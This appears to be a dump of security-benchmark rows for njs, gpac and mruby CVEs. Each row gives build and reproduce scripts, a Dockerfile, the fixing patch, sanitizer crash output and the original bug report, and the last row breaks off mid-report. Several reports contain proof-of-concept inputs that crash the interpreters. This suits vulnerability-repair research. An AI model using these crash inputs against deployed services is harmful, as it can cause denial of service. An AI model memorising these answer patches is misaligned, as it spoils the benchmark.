instance_id stringlengths 17 28 | repo stringclasses 34 values | project_name stringclasses 32 values | lang stringclasses 1 value | work_dir stringclasses 32 values | sanitizer stringclasses 3 values | bug_description stringlengths 47 566 | base_commit stringlengths 40 40 | build_sh stringlengths 69 2.44k | secb_sh stringlengths 990 3.07k | dockerfile stringlengths 213 1.1k | patch stringlengths 224 52k | exit_code int64 0 255 | sanitizer_report stringlengths 368 29k | bug_report stringlengths 0 31k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
njs.cve-2022-32414 | nginx/njs | njs | c++ | /src/njs | address | Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_vmcode_interpreter at src/njs_vmcode.c. | f65981b0b8fcf02d69a40bc934803c25c9f607ab | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
# Check if autogen.sh exists and run it if present
if [ -f ./autogen.sh ]; then
chmod +x ./autogen.sh
./autogen.sh
fi
# Set compiler flags
export CFLAGS="$CFLAGS -fno-use-cxa-atexit"
export CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit"
# Configure the build
./configure
# Build the project
make -j$(nproc)
# Remove fuzzer and install commands
# Ensure directories are created with -p flag
mkdir -p /desired/path | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR njs.cve-2022-32414..."
# TODO: Add commands to trigger the specific vulnerability
# For now, it's a placeholder.
/src/njs/build/njs /testcase/poc.js
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/njs
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 2e00e95473861846aa8538be87db07699d9f676d
WORKDIR $SRC/njs
COPY build.sh $SRC/ | diff --git a/src/njs_promise.c b/src/njs_promise.c
index 52ae5b57..ea162d53 100644
--- a/src/njs_promise.c
+++ b/src/njs_promise.c
@@ -1369,6 +1369,10 @@ njs_promise_perform_all_handler(njs_vm_t *vm, njs_iterator_args_t *args,
njs_promise_all_context_t *context;
njs_promise_iterator_args_t *pargs;
+ if (!njs_is_valid(value)) {
+ value = njs_value_arg(&njs_value_undefined);
+ }
+
pargs = (njs_promise_iterator_args_t *) args;
capability = pargs->capability;
@@ -1459,6 +1463,10 @@ njs_promise_perform_all_settled_handler(njs_vm_t *vm, njs_iterator_args_t *args,
njs_promise_all_context_t *context;
njs_promise_iterator_args_t *pargs;
+ if (!njs_is_valid(value)) {
+ value = njs_value_arg(&njs_value_undefined);
+ }
+
pargs = (njs_promise_iterator_args_t *) args;
capability = pargs->capability;
@@ -1598,6 +1606,10 @@ njs_promise_perform_any_handler(njs_vm_t *vm, njs_iterator_args_t *args,
njs_promise_all_context_t *context;
njs_promise_iterator_args_t *pargs;
+ if (!njs_is_valid(value)) {
+ value = njs_value_arg(&njs_value_undefined);
+ }
+
pargs = (njs_promise_iterator_args_t *) args;
capability = pargs->capability;
@@ -1745,6 +1757,10 @@ njs_promise_perform_race_handler(njs_vm_t *vm, njs_iterator_args_t *args,
njs_promise_capability_t *capability;
njs_promise_iterator_args_t *pargs;
+ if (!njs_is_valid(value)) {
+ value = njs_value_arg(&njs_value_undefined);
+ }
+
pargs = (njs_promise_iterator_args_t *) args;
ret = njs_function_call(vm, pargs->function, pargs->constructor, value,
| 0 | ==732128==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004e3e53 bp 0x7ffe6e1f76b0 sp 0x7ffe6e1f6e80 T0)
==732128==The signal is caused by a READ memory access.
==732128==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4e3e53 in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27
#1 0x6050bc in njs_await_fulfilled /home/q1iq/Documents/origin/njs_f65981b/src/njs_async.c:96:11
#2 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#3 0x53b029 in njs_function_frame_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:777:16
#4 0x53b029 in njs_function_call2 /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:600:11
#5 0x5f45b7 in njs_function_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.h:180:12
#6 0x5f45b7 in njs_promise_reaction_job /home/q1iq/Documents/origin/njs_f65981b/src/njs_promise.c:1171:15
#7 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#8 0x4deb20 in njs_vm_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:440:12
#9 0x4deb20 in njs_vm_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:424:12
#10 0x4deb20 in njs_vm_handle_events /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:584:19
#11 0x4deb20 in njs_vm_run /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:544:12
#12 0x4c82d7 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:924:15
#13 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#14 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#15 0x7f3e31cf00b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27 in njs_vmcode_interpreter
==732128==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/483
## Description:
Issue: nginx/njs#483
Title: SEGV njs_vmcode.c:802:27 in njs_vmcode_interpreter
State: closed
Created by: Q1IQ
Created at: 2022-03-02 11:46:31+00:00
Labels: bug, fuzzer
Issue Body:
### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function main() {
const a4 = Promise["race"](Float64Array);
function a14(a15,a16) {
const a17 = async (a18,a19) => {
const a20 = await a15;
for (const a22 in "test") {
}
};
const a23 = a17();
}
const a24 = a14(a4);
}
main();
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==732128==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004e3e53 bp 0x7ffe6e1f76b0 sp 0x7ffe6e1f6e80 T0)
==732128==The signal is caused by a READ memory access.
==732128==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4e3e53 in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27
#1 0x6050bc in njs_await_fulfilled /home/q1iq/Documents/origin/njs_f65981b/src/njs_async.c:96:11
#2 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#3 0x53b029 in njs_function_frame_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:777:16
#4 0x53b029 in njs_function_call2 /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:600:11
#5 0x5f45b7 in njs_function_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.h:180:12
#6 0x5f45b7 in njs_promise_reaction_job /home/q1iq/Documents/origin/njs_f65981b/src/njs_promise.c:1171:15
#7 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#8 0x4deb20 in njs_vm_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:440:12
#9 0x4deb20 in njs_vm_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:424:12
#10 0x4deb20 in njs_vm_handle_events /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:584:19
#11 0x4deb20 in njs_vm_run /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:544:12
#12 0x4c82d7 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:924:15
#13 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#14 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#15 0x7f3e31cf00b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27 in njs_vmcode_interpreter
==732128==ABORTING
```
### Credit
Q1IQ(@Q1IQ) |
gpac.cve-2023-5586 | gpac/gpac | gpac | c++ | /src/gpac | address | NULL Pointer Dereference in GitHub repository gpac/gpac prior to 2.3.0-DEV. | 5692dc729491805e0e5f55c21d50ba1e6b19e88e | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
# Check if autogen.sh exists and run it if present
if [ -f ./autogen.sh ]; then
chmod +x ./autogen.sh
./autogen.sh
fi
# Set compiler flags
export CFLAGS="$CFLAGS -fsanitize=address"
# Run configure script
./configure --static-build --extra-cflags="$CFLAGS" --extra-ldflags="$CFLAGS"
make -j$(nproc) | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
# Handle git sub-modules
if [[ -f .gitmodules || -f .gitmodule ]]; then
echo "Detected git sub-modules - initialising/updating..."
git submodule update --init --recursive
else
echo "No git sub-modules found - skipping update."
fi
# Check for repo_changes.diff and apply if it exists and hasn't been applied yet
if [[ -f /testcase/repo_changes.diff ]]; then
# Check if the patch has already been applied to avoid re-applying
if ! git apply --check /testcase/repo_changes.diff &>/dev/null; then
echo "Repository changes already applied or cannot be applied cleanly. Proceeding with build."
else
echo "Applying repository changes from repo_changes.diff..."
git apply /testcase/repo_changes.diff || echo "Warning: Could not apply repo_changes.diff cleanly. Proceeding anyway."
fi
fi
# stdout: /dev/null
# stderr: grep filters out "warning:" and lets everything else through
if /usr/local/bin/compile \n 1>/dev/null \n 2> >(grep -Fv --line-buffered -e "warning:" -e "SyntaxWarning:" -e "WARNING:" >&2); then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR gpac.cve-2023-5586..."
# Run the MP4Box command with the PoC file to trigger the vulnerability
./bin/gcc/MP4Box -dash 1000 -out /dev/null /testcase/poc2_null
# The above command should trigger the AddressSanitizer error as described in the vulnerability report.
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/gpac
# Check for repo_changes.diff and apply if it exists and hasn't been applied yet
if [[ -f /testcase/repo_changes.diff ]]; then
# Check if the patch has already been applied to avoid re-applying
if ! git apply --check /testcase/repo_changes.diff &>/dev/null; then
echo "Repository changes already applied or cannot be applied cleanly. Proceeding with patch."
else
echo "Applying repository changes from repo_changes.diff..."
git apply /testcase/repo_changes.diff || echo "Warning: Could not apply repo_changes.diff cleanly. Proceeding anyway."
fi
fi
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout 50a60b0e560f4c2d36198a231f952c876a760596
WORKDIR $SRC/gpac
COPY build.sh $SRC/ | diff --git a/src/filters/reframe_rawpcm.c b/src/filters/reframe_rawpcm.c
index 37decc00e..406c6638d 100644
--- a/src/filters/reframe_rawpcm.c
+++ b/src/filters/reframe_rawpcm.c
@@ -360,6 +360,14 @@ GF_Err pcmreframe_process(GF_Filter *filter)
}
wav_ok = GF_FALSE;
}
+ if (!ctx->ch) {
+ GF_LOG(GF_LOG_ERROR, GF_LOG_MEDIA, ("[PCMReframe] Channel count %d invalid in wave\n", ctx->ch));
+ wav_ok = GF_FALSE;
+ }
+ if (!ctx->sr) {
+ GF_LOG(GF_LOG_ERROR, GF_LOG_MEDIA, ("[PCMReframe] Samplerate %d invalid in wave\n", ctx->sr));
+ wav_ok = GF_FALSE;
+ }
ctx->wav_hdr_size = (u32) gf_bs_get_position(bs);
| 1 | ==2015631==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f6dd4798891 bp 0x7ffee005d790 sp 0x7ffee005d6a0 T0)
==2015631==The signal is caused by a READ memory access.
==2015631==Hint: address points to the zero page.
#0 0x7f6dd4798891 in gf_filter_pck_new_alloc_internal (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x119b891)
#1 0x7f6dd4d1ef00 in pcmreframe_process (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x1721f00)
#2 0x7f6dd48571ce in gf_filter_process_task (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x125a1ce)
#3 0x7f6dd4825216 in gf_fs_thread_proc (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x1228216)
#4 0x7f6dd4823b0f in gf_fs_run (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x1226b0f)
#5 0x7f6dd41c2047 in gf_dasher_process (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0xbc5047)
#6 0x50205c in do_dash /home/fuzz/gpac/gpac/applications/mp4box/mp4box.c:4831:15
#7 0x4f34ee in mp4box_main /home/fuzz/gpac/gpac/applications/mp4box/mp4box.c:6245:7
#8 0x7f6dd327e082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#9 0x42ad4d in _start (/home/fuzz/gpac/gpac/bin/gcc/MP4Box+0x42ad4d)
| ================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/d2a6ea71-3555-47a6-9b18-35455d103740
## Description:
Description
NULL Pointer Dereference in function gf_filter_pck_new_alloc_internal at filter_core/filter_pck.c:108.
Version
git log
commit 5692dc729491805e0e5f55c21d50ba1e6b19e88e (HEAD -> master, origin/master, origin/HEAD)
Author: Aurelien David <aurelien.david@telecom-paristech.fr>
Date: Wed Oct 11 13:24:46 2023 +0200
ac3dmx: add remain size check (fixes #2627)
./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev577-g5692dc729-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Proof of Concept
reported (no instrumented program)
./configure --enable-sanitizer
make
./bin/gcc/MP4Box -dash 1000 -out /dev/null poc2_nul
[Dasher] No template assigned, using $File$_dash$FS$$Number$
[PCMReframe] Missing audio sample rate, cannot parse
filter_core/filter_pck.c:108:6: runtime error: member access within null pointer of type 'struct GF_FilterPid'
Reported with ASAN (instrumented program):
./bin/gcc/MP4Box -dash 1000 -out /dev/null poc2_null
[Dasher] No template assigned, using $File$_dash$FS$$Number$
[PCMReframe] Missing audio sample rate, cannot parse
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2015631==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f6dd4798891 bp 0x7ffee005d790 sp 0x7ffee005d6a0 T0)
==2015631==The signal is caused by a READ memory access.
==2015631==Hint: address points to the zero page.
#0 0x7f6dd4798891 in gf_filter_pck_new_alloc_internal (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x119b891)
#1 0x7f6dd4d1ef00 in pcmreframe_process (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x1721f00)
#2 0x7f6dd48571ce in gf_filter_process_task (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x125a1ce)
#3 0x7f6dd4825216 in gf_fs_thread_proc (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x1228216)
#4 0x7f6dd4823b0f in gf_fs_run (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x1226b0f)
#5 0x7f6dd41c2047 in gf_dasher_process (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0xbc5047)
#6 0x50205c in do_dash /home/fuzz/gpac/gpac/applications/mp4box/mp4box.c:4831:15
#7 0x4f34ee in mp4box_main /home/fuzz/gpac/gpac/applications/mp4box/mp4box.c:6245:7
#8 0x7f6dd327e082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#9 0x42ad4d in _start (/home/fuzz/gpac/gpac/bin/gcc/MP4Box+0x42ad4d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x119b891) in gf_filter_pck_new_alloc_internal
POC:
https://github.com/Janette88/test_pocs/blob/main/poc2_null
Impact
This vulnerability is capable of making the MP4Box crash, An attacker who can successfully exploit this vulnerability could potentially execute arbitrary code in the context of the application, leading to a compromise of the system where the vulnerable software is installed. Additionally, the attacker could use this vulnerability to cause a denial of service (DoS) by crashing the application or making it unresponsive. This vulnerability poses a significant risk to the confidentiality, integrity, and availability of systems running the affected software. |
mruby.cve-2022-0240 | mruby/mruby | mruby | c++ | /src/mruby | address | mruby is vulnerable to NULL Pointer Dereference | 171d32c0071d776207174a40a8fa26def3dbb931 | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cd $SRC/mruby
export LD=$CC
export LDFLAGS="$CFLAGS"
rake -m -j$(nproc) | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR mruby.cve-2022-0240..."
cd /src/mruby
build/host/bin/mruby /testcase/poc
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/mruby
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout 475b868b7236fd8e8824618e8724b587f08fbe9d
WORKDIR $SRC/mruby
COPY build.sh $SRC/ | diff --git a/src/class.c b/src/class.c
index ec9c648e5..8751dcaf0 100644
--- a/src/class.c
+++ b/src/class.c
@@ -1682,6 +1683,7 @@ mrb_singleton_class_ptr(mrb_state *mrb, mrb_value v)
break;
}
obj = mrb_basic_ptr(v);
+ if (obj->c == NULL) return NULL;
prepare_singleton_class(mrb, obj);
return obj->c;
}
| 1 | ==31695==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x0000005270f8 bp 0x7ffec6a14090 sp 0x7ffec6a13d80 T0)
==31695==The signal is caused by a READ memory access.
==31695==Hint: address points to the zero page.
#0 0x5270f8 in prepare_singleton_class /home/octa/mruby/src/class.c:360:13
#1 0x52688f in mrb_singleton_class_ptr /home/octa/mruby/src/class.c:1685:3
#2 0x528785 in mrb_singleton_class /home/octa/mruby/src/class.c:1692:22
#3 0x600757 in mrb_vm_exec /home/octa/mruby/src/vm.c:2918:17
#4 0x566ee9 in mrb_vm_run /home/octa/mruby/src/vm.c:1128:12
#5 0x55c339 in mrb_top_run /home/octa/mruby/src/vm.c:3050:12
#6 0x88b6ce in mrb_load_exec /home/octa/mruby/mrbgems/mruby-compiler/core/parse.y:6882:7
#7 0x88d2dc in mrb_load_detect_file_cxt /home/octa/mruby/mrbgems/mruby-compiler/core/parse.y:6925:12
#8 0x4c9118 in main /home/octa/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:347:11
#9 0x7f46ef9450b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#10 0x41d82d in _start (/home/octa/mruby/build/host/bin/mruby+0x41d82d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/octa/mruby/src/class.c:360:13 in prepare_singleton_class
==31695==ABORTING | ================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/5857eced-aad9-417d-864e-0bdf17226cbb
## Description:
Description
There is a NULL Pointer Dereference in prepare_singleton_class (src/class.c:360:13). This bug has been found on mruby lastest commit (hash 171d32c0071d776207174a40a8fa26def3dbb931) on Ubuntu 20.04 for x86_64/amd64.
Proof of Concept
1.times{b={}
a=0
[**0,m:0]
c={0=>0,nil=>nil}[0]
def m()end
def c.e()end}
Steps to reproduce
1- Clone repo and build with ASAN using MRUBY_CONFIG=build_config/clang-asan.rb rake
2- Use mruby to execute the poc:
$ echo -ne "MS50aW1lc3tiPXt9CmE9MApbKiowLG06MF0KYz17MD0+MCxuaWw9Pm5pbH1bMF0KZGVmIG0oKWVuZApkZWYgYy5lKCllbmR9Cg==" | base64 -d > poc
$ build/host/bin/mruby ./poc
/home/octa/mruby/src/class.c:360:13: runtime error: member access within null pointer of type 'struct RClass'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/octa/mruby/src/class.c:360:13 in
AddressSanitizer:DEADLYSIGNAL
=================================================================
==31695==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x0000005270f8 bp 0x7ffec6a14090 sp 0x7ffec6a13d80 T0)
==31695==The signal is caused by a READ memory access.
==31695==Hint: address points to the zero page.
#0 0x5270f8 in prepare_singleton_class /home/octa/mruby/src/class.c:360:13
#1 0x52688f in mrb_singleton_class_ptr /home/octa/mruby/src/class.c:1685:3
#2 0x528785 in mrb_singleton_class /home/octa/mruby/src/class.c:1692:22
#3 0x600757 in mrb_vm_exec /home/octa/mruby/src/vm.c:2918:17
#4 0x566ee9 in mrb_vm_run /home/octa/mruby/src/vm.c:1128:12
#5 0x55c339 in mrb_top_run /home/octa/mruby/src/vm.c:3050:12
#6 0x88b6ce in mrb_load_exec /home/octa/mruby/mrbgems/mruby-compiler/core/parse.y:6882:7
#7 0x88d2dc in mrb_load_detect_file_cxt /home/octa/mruby/mrbgems/mruby-compiler/core/parse.y:6925:12
#8 0x4c9118 in main /home/octa/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:347:11
#9 0x7f46ef9450b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#10 0x41d82d in _start (/home/octa/mruby/build/host/bin/mruby+0x41d82d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/octa/mruby/src/class.c:360:13 in prepare_singleton_class
==31695==ABORTING
Acknowledgements
This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team. |
njs.cve-2022-28049 | nginx/njs | njs | c++ | /src/njs | address | NGINX NJS 0.7.2 was discovered to contain a NULL pointer dereference via the component njs_vmcode_array at /src/njs_vmcode.c. | ad48705bf1f04b4221a5f5b07715ac48b3160d53 | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
# Check if autogen.sh exists and run it if it does
if [ -f ./autogen.sh ]; then
chmod +x ./autogen.sh
./autogen.sh
fi
# Set compiler flags
export CFLAGS="$CFLAGS -fno-use-cxa-atexit"
export CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit"
# Configure the build
./configure
# Build the project
make -j$(nproc)
# Remove fuzzer-related and install commands | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR njs.cve-2022-28049..."
/src/njs/build/njs /testcase/id:000002,sig:06,src:001260+005121,time:65254059,op:splice,rep:2,trial:1496856
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/njs
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout ad48705bf1f04b4221a5f5b07715ac48b3160d53
WORKDIR $SRC/njs
COPY build.sh $SRC/ | diff --git a/src/njs_vmcode.c b/src/njs_vmcode.c
index ef0beb5e..ec478659 100644
--- a/src/njs_vmcode.c
+++ b/src/njs_vmcode.c
@@ -1056,14 +1056,16 @@ njs_vmcode_array(njs_vm_t *vm, u_char *pc)
if (code->ctor) {
/* Array of the form [,,,], [1,,]. */
- value = array->start;
- length = array->length;
-
- do {
- njs_set_invalid(value);
- value++;
- length--;
- } while (length != 0);
+ if (array->object.fast_array) {
+ value = array->start;
+ length = array->length;
+
+ do {
+ njs_set_invalid(value);
+ value++;
+ length--;
+ } while (length != 0);
+ }
} else {
/* Array of the form [], [,,1], [1,2,3]. */
| 1 | ==1324882==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005394e8 bp 0x7fffffffd4f0 sp 0x7fffffffd4c0 T0)
==1324882==The signal is caused by a WRITE memory access.
==1324882==Hint: address points to the zero page.
#0 0x5394e8 in njs_vmcode_array /src/njs/src/njs_vmcode.c:1049:17
#1 0x52b41d in njs_vmcode_interpreter /src/njs/src/njs_vmcode.c:580:23
#2 0x52472e in njs_vm_start /src/njs/src/njs_vm.c:487:11
#3 0x4ffe8e in njs_process_script (/out/njs_process_script_fuzzer+0x4ffe8e)
#4 0x4ff759 in LLVMFuzzerTestOneInput (/out/njs_process_script_fuzzer+0x4ff759)
#5 0x4e0b39 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4e0b39)
#6 0x4cba49 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4cba49)
#7 0x4d0952 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/out/njs_process_script_fuzzer+0x4d0952)
#8 0x4cb7d2 in main (/out/njs_process_script_fuzzer+0x4cb7d2)
#9 0x7ffff77050b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#10 0x42101d in _start (/out/njs_process_script_fuzzer+0x42101d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /src/njs/src/njs_vmcode.c:1049:17 in njs_vmcode_array
==1324882==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/473
## Description:
Issue: nginx/njs#473
Title: Null pointer dereference in src/njs_vmcode.c:1049:17
State: closed
Created by: andreafioraldi
Created at: 2022-02-17 15:51:14+00:00
Labels: bug, fuzzer
Issue Body:
Hi,
this bug was found by fuzzing the current master branch, to reproduce build the OSS-Fuzz harness with ASan and UBSan.
The bug is a write to a NULL pointer, this is the sanitizer report:
```
INFO: Seed: 2125423890
INFO: Loaded 1 modules (53334 inline 8-bit counters): 53334 [0x95f010, 0x96c066),
INFO: Loaded 1 PC tables (53334 PCs): 53334 [0x96c068,0xa3c5c8),
/out/njs_process_script_fuzzer: Running 1 inputs 1 time(s) each.
